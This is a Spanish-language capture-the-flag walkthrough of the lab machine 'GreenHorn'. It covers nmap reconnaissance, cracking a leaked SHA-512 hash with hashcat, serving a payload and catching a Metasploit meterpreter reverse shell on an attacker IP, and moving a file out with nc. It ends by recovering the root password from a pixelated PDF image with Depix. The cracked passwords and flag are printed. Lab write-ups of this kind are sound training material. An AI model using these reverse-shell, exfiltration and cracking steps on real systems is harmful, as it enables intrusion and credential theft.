Greenhorn

nmap

```
nmap -sC -sV 10.10.11.25
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-30 20:12 CEST
Nmap scan report for greenhorn.htb (10.10.11.25)
Host is up (0.16s latency).
Not shown: 997 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 57:d6:92:8a:72:44:84:17:29:eb:5c:c9:63:6a:fe:fd (ECDSA)
|_  256 40:ea:17:b1:b6:c5:3f:42:56:67:4a:3c:ee:75:23:2f (ED25519)
80/tcp   open  http    nginx 1.18.0 (Ubuntu)
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
|_http-generator: pluck 4.7.18
| http-title: Welcome to GreenHorn ! - GreenHorn
|_Requested resource was http://greenhorn.htb/?file=welcome-to-greenhorn
|_http-trane-info: Problem with XML parsing of /evox/about
|_http-server-header: nginx/1.18.0 (Ubuntu)
| http-robots.txt: 2 disallowed entries
|_/data/ /docs/
3000/tcp open  ppp?
| fingerprint-strings:
|   GenericLines, Help, RTSPRequest:
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest:
|     HTTP/1.0 200 OK
|     Cache-Control: max-age=0, private, must-revalidate, no-transform
|     Content-Type: text/html; charset=utf-8
|     Set-Cookie: i_like_gitea=3e638d204e1213d8; Path=/; HttpOnly; SameSite=Lax
|     Set-Cookie: _csrf=hdGkN6pE0Ma_HMOx5d0i0eP9Zx46MTcyNTA0MTYzOTk3MTcxMDkyMA; Path=/; Max-Age=86400; HttpOnly; SameSite=Lax
|     X-Frame-Options: SAMEORIGIN
|     Date: Fri, 30 Aug 2024 18:13:59 GMT
|     <!DOCTYPE html>
|     <html lang="en-US" class="theme-auto">
|     <head>
|     <meta name="viewport" content="width=device-width, initial-scale=1">
|     <title>GreenHorn</title>
|     <link rel="manifest" href="data:application/json;base64,eyJuYW1lIjoiR3JlZW5Ib3JuIiwic2hvcnRfbmFtZSI6IkdyZWVuSG9ybiIsInN0YXJ0X3VybCI6Imh0dHA6Ly9ncmVlbmhvcm4uaHRiOjMwMDAvIiwiaWNvbnMiOlt7InNyYyI6Imh0dHA6Ly9ncmVlbmhvcm4uaHRiOjMwMDAvYXNzZXRzL2ltZy9sb2dvLnBuZyIsInR5cGUiOiJpbWFnZS9wbmciLCJzaXplcyI6IjUxMng1MTIifSx7InNyYyI6Imh0dHA6Ly9ncmVlbmhvcm4uaHRiOjMwMDAvYX
|   HTTPOptions:
|     HTTP/1.0 405 Method Not Allowed
|     Allow: HEAD
|     Allow: HEAD
|     Allow: HEAD
|     Allow: GET
|     Cache-Control: max-age=0, private, must-revalidate, no-transform
|     Set-Cookie: i_like_gitea=cef05af42ef222b0; Path=/; HttpOnly; SameSite=Lax
|     Set-Cookie: _csrf=cpy-gm65JasR-fX0CC-6BHUyM1A6MTcyNTA0MTY0NTYyNDc1MDMwNg; Path=/; Max-Age=86400; HttpOnly; SameSite=Lax
|     X-Frame-Options: SAMEORIGIN
|     Date: Fri, 30 Aug 2024 18:14:05 GMT
|_    Content-Length: 0
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nma
```

#Si nos dirigimos a http://greenhorn.htb:3000/GreenAdmin/GreenHorn/src/branch/main/data/settings/pass.php veremos la pass.
#Deciframos el hash.

```
hashcat -m 1700 hash.txt --wordlist /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting

OpenCL API (OpenCL 3.0 PoCL 5.0+debian  Linux, None+Asserts, RELOC, SPIR, LLVM 17.0.6, SLEEF, DISTRO,
POCL_DEBUG) - Platform #1 [The pocl project]
======================================================================
======================================================================
========
* Device #1: cpu-haswell-Intel(R) Core(TM) i5-10400F CPU @ 2.90GHz, 2882/5829 MB (1024 MB allocatable), 12MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

Hashes: 2 digests; 2 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:
* Zero-Byte
* Early-Skip
* Not-Salted
* Not-Iterated
* Single-Salt
* Raw-Hash
* Uses-64-Bit

ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.

Watchdog: Hardware monitoring interface not found on your system.
Watchdog: Temperature abort trigger disabled.

Host memory required for this attack: 3 MB

Dictionary cache built:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344392
* Bytes.....: 139921507
* Keyspace..: 14344385
* Runtime...: 1 sec

d5443aef1b64544f3685bf112f6c405218c573c7279a831b1fe9612e3a4d770486743c5580556c0d838b51749de15530
f87fb793afdcc689b6b39024d7790163:iloveyou1
Approaching final keyspace - workload adjusted.


Session..........: hashcat
Status...........: Exhausted
Hash.Mode........: 1700 (SHA2-512)
Hash.Target......: hash.txt
Time.Started.....: Fri Aug 30 20:06:33 2024 (4 secs)
Time.Estimated...: Fri Aug 30 20:06:37 2024 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:  3406.6 kH/s (0.49ms) @ Accel:512 Loops:1 Thr:1 Vec:4
Recovered........: 1/2 (50.00%) Digests (total), 1/2 (50.00%) Digests (new)
Progress.........: 14344385/14344385 (100.00%)
Rejected.........: 0/14344385 (0.00%)
Restore.Point....: 14344385/14344385 (100.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: $HEX[216361726f6c796e] -> $HEX[042a0337c2a156616d6f732103]

Started: Fri Aug 30 20:06:29 2024
Stopped: Fri Aug 30 20:06:38 2024
```

#Tenemos la contraseña:

pass → iloveyou1

priv_escalation

#Activamos el pruerto 80.

```
sudo python3 -m http.server 80
[sudo] password for alle:
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.25 - - [30/Aug/2024 20:37:05] "GET /payload.bin HTTP/1.1" 200 -
```

#Con ele payload en la máquina vícitma, obtenemos un shell.

```
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload linux/x86/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 10.10.14.174
LHOST => 10.10.14.174
msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 10.10.14.174:4444
[*] Sending stage (1017704 bytes) to 10.10.11.25
[*] Meterpreter session 1 opened (10.10.14.174:4444 -> 10.10.11.25:52874) at 2024-08-30 20:41:49 +0200

meterpreter > shell
Process 54684 created.
Channel 1 created.
whoami
www-data
python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@greenhorn:/var/tmp$ pwd
pwd
/var/tmp
www-data@greenhorn:/var/tmp$ whoami
whoami
www-data
www-data@greenhorn:/var/tmp$ su junior
su junior
Password: iloveyou1

junior@greenhorn:/var/tmp$ cat /home/junior/user.txt
cat /home/junior/user.txt
456f01e6b3d059a435fd74de8fd02cae
junior@greenhorn:/var/tmp$
```

#Ya tenemos la primera flag.

#Vemos otro ficho, nos los descargaremos con nc.

1º Ejecutamos nc en localhost:

```
nc -lvp 1234 > 'Using OpenVAS.pdf'
listening on [any] 1234 ...
connect to [10.10.14.174] from greenhorn.htb [10.10.11.25] 40608
```

2º Ejecutamos nc en la máquina atacante.

```
nc 10.10.14.174 1234 < 'Using OpenVAS.pdf'
```

#Descargamos el fichero 'OpenVAS.pdf'
#Luego cambiamos el pdf por una imagen.

```
pdfimages Using\ OpenVAS.pdf openvas21
-rw-r--r-- 1 alle alle 18914 Sep  1 19:25  openvas21-000.ppm
```

#Con la herramienta depix quitamos el blurr de la imagen.

```
python3 depix.py -p /home/alle/Desktop/machines/GreenHorn/openvas21-000.ppm -s /home/alle/Desktop/machines/GreenHorn/Depix/images/searchimages/debruinseq_notepad_Windows10_closeAndSpaced.png -o /home/alle/Desktop/machines/GreenHorn/out.png
2024-09-01 19:37:33,151 - Loading pixelated image from /home/alle/Desktop/machines/GreenHorn/
```

```
openvas21-000.ppm
2024-09-01 19:37:33,176 - Loading search image from /home/alle/Desktop/machines/GreenHorn/Depix/images/
searchimages/debruinseq_notepad_Windows10_closeAndSpaced.png
2024-09-01 19:37:33,898 - Finding color rectangles from pixelated space
2024-09-01 19:37:33,900 - Found 252 same color rectangles
2024-09-01 19:37:33,900 - 190 rectangles left after moot filter
2024-09-01 19:37:33,900 - Found 1 different rectangle sizes
2024-09-01 19:37:33,900 - Finding matches in search image
2024-09-01 19:37:33,900 - Scanning 190 blocks with size (5, 5)
2024-09-01 19:37:33,932 - Scanning in searchImage: 0/1674
2024-09-01 19:38:26,917 - Removing blocks with no matches
2024-09-01 19:38:26,917 - Splitting single matches and multiple matches
2024-09-01 19:38:26,921 - [16 straight matches | 174 multiple matches]
2024-09-01 19:38:26,921 - Trying geometrical matches on single-match squares
2024-09-01 19:38:27,269 - [29 straight matches | 161 multiple matches]
2024-09-01 19:38:27,270 - Trying another pass on geometrical matches
2024-09-01 19:38:27,572 - [41 straight matches | 149 multiple matches]
2024-09-01 19:38:27,572 - Writing single match results to output
2024-09-01 19:38:27,573 - Writing average results for multiple matches to output
2024-09-01 19:38:31,109 - Saving output image to: /home/alle/Desktop/machines/GreenHorn/out.png

#Hacemos un feh del out.png y obtenemos la contraseña.
sidefromsidetheothersidesidefromsidetheotherside

#Ya somos root.
su root
Password: sidefromsidetheothersidesidefromsidetheotherside
whoami
root
```